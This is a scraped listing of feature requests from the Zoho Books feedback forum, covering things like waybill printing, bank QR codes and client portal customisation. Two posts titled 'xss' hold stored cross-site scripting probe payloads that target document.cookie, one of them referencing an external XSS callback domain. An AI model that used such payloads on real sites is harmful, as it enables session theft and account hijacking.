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Zoho Books

Welcome to our feedback forum!

If you have an idea for a new feature that you want to see in Zoho Books, then you've reached the right place.

Feel free to post your ideas, comments, or suggestions in this space.

While we cannot promise a timeframe for everything posted here, we'll definitely consider all your valuable suggestions and work on them based on their feasibility.

Before posting, please ensure the following:
  1. Search if your idea for a feature is already listed below. If yes, then vote for it by clicking the Vote button.
  2. If it’s a new idea, kindly post a detailed description of your suggestion or idea.

If you have any questions or would like to share your feedback on our status updates, please drop an email to support@zohobooks.com


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6488 results found

  1. GST waybill print option not available ???

    GST waybill print option is not available need to send the physical waybill with the invoices need it ASAP ???

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  2. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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    0 comments  ·  Estimates  ·  Admin →
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  3. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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    2 comments  ·  Estimates  ·  Admin →
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  4. Consumption/VAT tax option for bank fee option with bulk payment of invoices and bills

    I see that now there is a bank option for recording bulk payments of both bills and invoices. This is an improvement, but since these are expenses, there should be the option (as with other expenses) to apply a consumtion/VAT tax on these bank fees, as in some countries these are taxable expenses.

    1 vote
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    0 comments  ·  Payments  ·  Admin →
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  5. Bank account QR code

    Hi, Bank Account details can be converted into QR code.

    1 vote
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    0 comments  ·  Banking  ·  Admin →
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  6. Give an option for Credit Customer Balance and Debit Vendor Balance

    While creating a new customer, there should be an option to assign credit opening balance there itself. Creating a credit note and assigning opening balance is difficult to explain to audit team.

    Similar should be an option for Vendors. Will save a lot of manual labour.

    1 vote
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    0 comments  ·  Customers  ·  Admin →
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  7. search for a transaction amount

    The ability to search for a transaction amount within the banking area

    1 vote
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    0 comments  ·  Banking  ·  Admin →
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  8. Expand search scope in Customer Details under Purchase Bill Items

    While we do Purchase Bill entry, you allow us to add Customer for each Item but if I try to search customer by Last Name I get no result. Pls allow us to search customer by any field (First Name / Last Name / Company Name).

    1 vote
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    0 comments  ·  Expenses & Bills  ·  Admin →
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  9. 1 vote
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    0 comments  ·  Items  ·  Admin →
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  10. For custom portal, allow any portal name as it will be unique to that domain

    For custom portal, allow any portal name as it will be unique to that domain

    1 vote
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    0 comments  ·  Client Portal  ·  Admin →
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  11. Batch tracking and expiry

    I have a medicine job, I want to track the batch wise expiry in it.,
    Auto pick expiry when i choose any item batcb wise

    1 vote
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    0 comments  ·  Inventory  ·  Admin →
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  12. Base approval workflow on organization structure and set approval limits

    Enable to set an approval workflow that mirors the organization's structure with approval limits in amount to each level of the organization

    1 vote
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  13. Provide a field for POs in Project setup

    Add tracking info to the Projects setup.

    Provide a field to for a PO# when creating a new Project. The Invoice template should retrieve the field name and value when we're billing for the project. The Project list/report should also display the PO.
    A field for a Job Number or Docket would also help.

    Anyone working freelance as a copywriter, graphic designer, web developer, etc, would be accustomed to using these features for timesheets and for billing.

    1 vote
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  14. Client portal have ability to place an order by customer

    Current client portal only provide historical and current transaction details. However, Client portal can be further advance where Customer should be able to place an order with their confirmation. This can seen in Sales IQ or Sales Pipeline. This help Sales person drive focus and cut some time on Data entry.

    1 vote
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    0 comments  ·  Sales Orders  ·  Admin →
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  15. allow a unique image or colour scheme for different businesses in the app and web

    I have a subscription to Books, and I also have log on permissions for my wife's Books. It would be great if it was more obvious on the web and apps which business I am signed in to. A different colour scheme, or company logo would be great.

    1 vote
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    0 comments  ·  General  ·  Admin →
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  16. Convert part of estimate to invoice

    Have an option to convert selected items on the estimate to an invoice instead of the whole estimate - so that the total cost of project can be invoiced in stages as they are completed.
    The remaining items would stay on the estimate to be invoiced another time.

    1 vote
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    0 comments  ·  Estimates  ·  Admin →
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  17. Allow advance payments to be recorded as income instead of liability

    In our service business, a project often takes weeks to complete, but labor and other expenses are incurred throughout the project period so we often ask for advance or installment payments. Since a final invoice amount often isn't known until the project is complete, we invoice at the end of the project and receive a final payment for the balance due. Under the current system, the advance payments received are recorded as a liability, but in our case it is actually income for services provided (labor costs, etc.) during the project. The current system imposes accrual based accounting on our…

    1 vote
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    0 comments  ·  Payments  ·  Admin →
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  18. Use Professional Barcode Scanner in Mobile Apps

    It would be great if we could use the inbuilt barcode scanner on our mobile devices https://na.panasonic.com/ns/250230_FZ-N1mk2_Solution_Guide_FINAL.pdf. The camera is clunky and not fit for scanning many items in quickly. If we could select inbuilt scanner rather than it defaulting to the device camera that would be awesome

    1 vote
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    0 comments  ·  Inventory  ·  Admin →
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  19. option to select the Bank Account details from a multi tab that need to appear on Invoices

    We need to use different bank accounts for different Customers. It would be great if we are able to select the Bank Account Details to be used when we generate an Invoice. It can be a multi tab or a drop down list from where we can select the same.

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  20. Give the ability to customize the look and feel of the client portal

    Give the ability to customize the look and feel of the client portal. For instance, I would like to change the Estimate "Accept" button text to "Yes, please!" Also, I would like to use a different label for Estimates.

    1 vote
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    0 comments  ·  Client Portal  ·  Admin →
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